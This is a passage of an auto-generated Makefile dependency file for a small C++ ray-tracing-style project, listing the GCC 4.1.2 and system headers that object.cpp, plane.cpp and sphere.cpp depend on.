/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/debug/debug.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/localefwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ios_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/atomicity.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/atomic_word.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_classes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/string \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/memory \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ext/new_allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/new \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_construct.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_uninitialized.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_raw_storage_iter.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/limits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_function.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/algorithm \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algo.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_heap.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_tempbuf.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/streambuf \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwctype \
/usr/include/wctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_inline.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/codecvt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/time_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/messages_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ostream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/locale \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/typeinfo \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/istream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/istream.tcc \
pixel.h material.h
object.o: object.cpp \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++config.h \
/usr/include/bits/wordsize.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/os_defines.h \
/usr/include/features.h /usr/include/sys/cdefs.h \
/usr/include/gnu/stubs.h /usr/include/gnu/stubs-64.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/cpu_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ios \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iosfwd \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++locale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstring \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstddef \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stddef.h \
/usr/include/string.h /usr/include/xlocale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdio \
/usr/include/stdio.h /usr/include/bits/types.h \
/usr/include/bits/typesizes.h /usr/include/libio.h \
/usr/include/_G_config.h /usr/include/wchar.h /usr/include/bits/wchar.h \
/usr/include/gconv.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stdarg.h \
/usr/include/bits/stdio_lim.h /usr/include/bits/sys_errlist.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/clocale \
/usr/include/locale.h /usr/include/bits/locale.h \
/usr/include/langinfo.h /usr/include/nl_types.h /usr/include/iconv.h \
/usr/include/libintl.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++io.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr-default.h \
/usr/include/pthread.h /usr/include/endian.h /usr/include/bits/endian.h \
/usr/include/sched.h /usr/include/time.h /usr/include/bits/sched.h \
/usr/include/bits/time.h /usr/include/signal.h \
/usr/include/bits/sigset.h /usr/include/bits/pthreadtypes.h \
/usr/include/bits/setjmp.h /usr/include/unistd.h \
/usr/include/bits/posix_opt.h /usr/include/bits/environments.h \
/usr/include/bits/confname.h /usr/include/getopt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cctype \
/usr/include/ctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stringfwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/postypes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwchar \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ctime \
/usr/include/stdint.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/functexcept.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/char_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algobase.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/climits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/limits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/syslimits.h \
/usr/include/limits.h /usr/include/bits/posix1_lim.h \
/usr/include/bits/local_lim.h /usr/include/linux/limits.h \
/usr/include/bits/posix2_lim.h /usr/include/bits/xopen_lim.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdlib \
/usr/include/stdlib.h /usr/include/bits/waitflags.h \
/usr/include/bits/waitstatus.h /usr/include/sys/types.h \
/usr/include/sys/select.h /usr/include/bits/select.h \
/usr/include/sys/sysmacros.h /usr/include/alloca.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_pair.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cpp_type_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_types.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_funcs.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/concept_check.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/debug/debug.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/localefwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ios_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/atomicity.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/atomic_word.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_classes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/string \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/memory \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ext/new_allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/new \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_construct.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_uninitialized.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_raw_storage_iter.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/limits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_function.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/algorithm \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algo.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_heap.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_tempbuf.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/streambuf \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwctype \
/usr/include/wctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_inline.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/codecvt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/time_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/messages_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ostream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/locale \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/typeinfo \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/istream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/istream.tcc \
vector.h pixel.h material.h object.h
plane.o: plane.cpp \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++config.h \
/usr/include/bits/wordsize.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/os_defines.h \
/usr/include/features.h /usr/include/sys/cdefs.h \
/usr/include/gnu/stubs.h /usr/include/gnu/stubs-64.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/cpu_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ios \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iosfwd \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++locale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstring \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstddef \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stddef.h \
/usr/include/string.h /usr/include/xlocale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdio \
/usr/include/stdio.h /usr/include/bits/types.h \
/usr/include/bits/typesizes.h /usr/include/libio.h \
/usr/include/_G_config.h /usr/include/wchar.h /usr/include/bits/wchar.h \
/usr/include/gconv.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stdarg.h \
/usr/include/bits/stdio_lim.h /usr/include/bits/sys_errlist.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/clocale \
/usr/include/locale.h /usr/include/bits/locale.h \
/usr/include/langinfo.h /usr/include/nl_types.h /usr/include/iconv.h \
/usr/include/libintl.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++io.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr-default.h \
/usr/include/pthread.h /usr/include/endian.h /usr/include/bits/endian.h \
/usr/include/sched.h /usr/include/time.h /usr/include/bits/sched.h \
/usr/include/bits/time.h /usr/include/signal.h \
/usr/include/bits/sigset.h /usr/include/bits/pthreadtypes.h \
/usr/include/bits/setjmp.h /usr/include/unistd.h \
/usr/include/bits/posix_opt.h /usr/include/bits/environments.h \
/usr/include/bits/confname.h /usr/include/getopt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cctype \
/usr/include/ctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stringfwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/postypes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwchar \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ctime \
/usr/include/stdint.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/functexcept.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/char_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algobase.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/climits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/limits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/syslimits.h \
/usr/include/limits.h /usr/include/bits/posix1_lim.h \
/usr/include/bits/local_lim.h /usr/include/linux/limits.h \
/usr/include/bits/posix2_lim.h /usr/include/bits/xopen_lim.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdlib \
/usr/include/stdlib.h /usr/include/bits/waitflags.h \
/usr/include/bits/waitstatus.h /usr/include/sys/types.h \
/usr/include/sys/select.h /usr/include/bits/select.h \
/usr/include/sys/sysmacros.h /usr/include/alloca.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_pair.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cpp_type_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_types.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_funcs.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/concept_check.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/debug/debug.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/localefwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ios_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/atomicity.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/atomic_word.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_classes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/string \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/memory \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ext/new_allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/new \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_construct.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_uninitialized.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_raw_storage_iter.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/limits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_function.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/algorithm \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algo.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_heap.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_tempbuf.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/streambuf \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwctype \
/usr/include/wctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_inline.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/codecvt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/time_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/messages_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ostream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/locale \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/typeinfo \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/istream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/istream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cassert \
/usr/include/assert.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cmath \
/usr/include/math.h /usr/include/bits/huge_val.h \
/usr/include/bits/huge_valf.h /usr/include/bits/huge_vall.h \
/usr/include/bits/inf.h /usr/include/bits/nan.h \
/usr/include/bits/mathdef.h /usr/include/bits/mathcalls.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cmath.tcc \
vector.h pixel.h material.h object.h plane.h
sphere.o: sphere.cpp \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++config.h \
/usr/include/bits/wordsize.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/os_defines.h \
/usr/include/features.h /usr/include/sys/cdefs.h \
/usr/include/gnu/stubs.h /usr/include/gnu/stubs-64.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/cpu_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ios \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iosfwd \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++locale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstring \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstddef \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stddef.h \
/usr/include/string.h /usr/include/xlocale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdio \
/usr/include/stdio.h /usr/include/bits/types.h \
/usr/include/bits/typesizes.h /usr/include/libio.h \
/usr/include/_G_config.h /usr/include/wchar.h /usr/include/bits/wchar.h \
/usr/include/gconv.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stdarg.h \
/usr/include/bits/stdio_lim.h /usr/include/bits/sys_errlist.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/clocale \
/usr/include/locale.h /usr/include/bits/locale.h \
/usr/include/langinfo.h /usr/include/nl_types.h /usr/include/iconv.h \
/usr/include/libintl.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++io.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr-default.h \
/usr/include/pthread.h /usr/include/endian.h /usr/include/bits/endian.h \
/usr/include/sched.h /usr/include/time.h /usr/include/bits/sched.h \
/usr/include/bits/time.h /usr/include/signal.h \
/usr/include/bits/sigset.h /usr/include/bits/pthreadtypes.h \
/usr/include/bits/setjmp.h /usr/include/unistd.h \
/usr/include/bits/posix_opt.h /usr/include/bits/environments.h \
/usr/include/bits/confname.h /usr/include/getopt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cctype \
/usr/include/ctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stringfwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/postypes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwchar \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ctime \
/usr/include/stdint.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/functexcept.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/char_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algobase.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/climits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/limits.h \
